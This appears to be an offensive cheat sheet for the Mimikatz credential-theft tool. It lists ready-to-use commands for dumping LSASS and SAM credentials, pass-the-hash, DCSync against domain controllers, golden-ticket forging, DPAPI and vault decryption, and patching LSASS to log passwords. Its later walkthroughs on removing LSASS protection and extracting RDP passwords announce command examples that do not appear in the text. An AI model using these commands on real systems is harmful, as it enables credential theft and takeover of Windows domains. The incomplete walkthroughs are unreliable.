Mimikatz

Mimikatz is a common tool to extract credentials from Microsoft Windows systems, which can be downloaded here; https://github.com/gentilkiwi/mimikatz

A PowerShell port of Mimikatz is also available here: https://github.com/samratashok/nishang/blob/master/Gather/Invoke-Mimikatz.ps1

---

Mimikatz Commands

Privilege Escalation

Command	Description
privilege::debug	Enable debug privileges.
token::elevate	Elevate current process token.
token::revert	Revert token privileges.
token::whoami	Display information about the current user’s token.

Password Extraction and Manipulation

Command	Description
sekurlsa::logonpasswords	Extract credentials from memory.
lsadump::sam	Extract the SAM database.
sekurlsa::wdigest	Extract WDigest credentials.
sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<NTLM_hash>	Perform pass-the-hash attack.
sekurlsa::ekeys	List kerberos keys.
lsadump::dcsync /domain:<DomainFQDN> /all	Perform a DCSync attack against a domain controller.
sekurlsa::minidump lsass.DMP	Extract passwords from a minidump file.

Kerberos Attacks

Command	Description
kerberos::list	List Kerberos tickets in memory.
sekurlsa::tickets /export	Export Kerberos tickets.
sekurlsa::tickets /purge	Purge Kerberos tickets from memory.
kerberos::ptt <ticket_file>	Pass-the-ticket: Import Kerberos ticket from a file.
kerberos::golden /user:<username> /domain:<domain> /sid:<domain_sid> /krbtgt:<krbtgt_hash> /ticket:<ticket_file>	Create a Kerberos golden ticket.
kerberos::tgt	Dump current TGT information.
kerberos::ptc <target_SPN>	Pass-the-credential: Request service ticket based on current TGT for a given SPN.
kerberos::list /export	Export Kerberos tickets to file.

Crypto & Certificate Operations

Command	Description
crypto::capi	Patches the CryptoAPI to make keys exportable.
crypto::certificates	List certificates in memory.
crypto::keys	List keys in memory.
crypto::certificates /export	Export certificates.

DPAPI & Windows Credential Vault

Command	Description
dpapi::masterkey /in:<masterkey_file>	Load DPAPI master key from a file.
dpapi::cache	List DPAPI credentials cache.
dpapi::cred /in:C:\key\location /masterkey:<MASTERKEY>	Decrypt a DPAPI encrypted file using a masterkey
vault::list	List Windows vault credentials.
sekurlsa::dpapi	Dump DPAPI keys for all users.

Miscellaneous

Command	Description
misc::memssp	Patches LSASS so credentials are logged to C:\Windows\System32\mimilsa.log.

---

Usage Examples

One Line Commands

If you’re executing Mimikatz from a non-interactive command shell, parameters supplied need to be encapsulated in double quotes, as per the below example;

Removing PPL Protection from LSASS

Upload mimidriver.sys driver to the same directory as your running Mimikatz from, then execute the following commands to remote PPL protection from LSASS.

The driver can be removed with:

Extracting Windows Vault RDP Credentials

Mimikatz can be used to extract saved Credential Manager passwords, such as saved RDP credentials.

First, we need to list the credentials available, which are stored in a users AppData folder;

We can then used Mimikatz to find which master encryption key is associated with a credential:

Mimikatz can then be used to decrypt the master encryption key:

Using the masterkey we just extracted, we can decrypt the RDP password.

---

Common Errors

If you receive the error message kuhl_m_sekurlsa_acquireLSA, ensure you are running the command in an Adminstrator command prompt, and that the privilege::debug command has been issued first;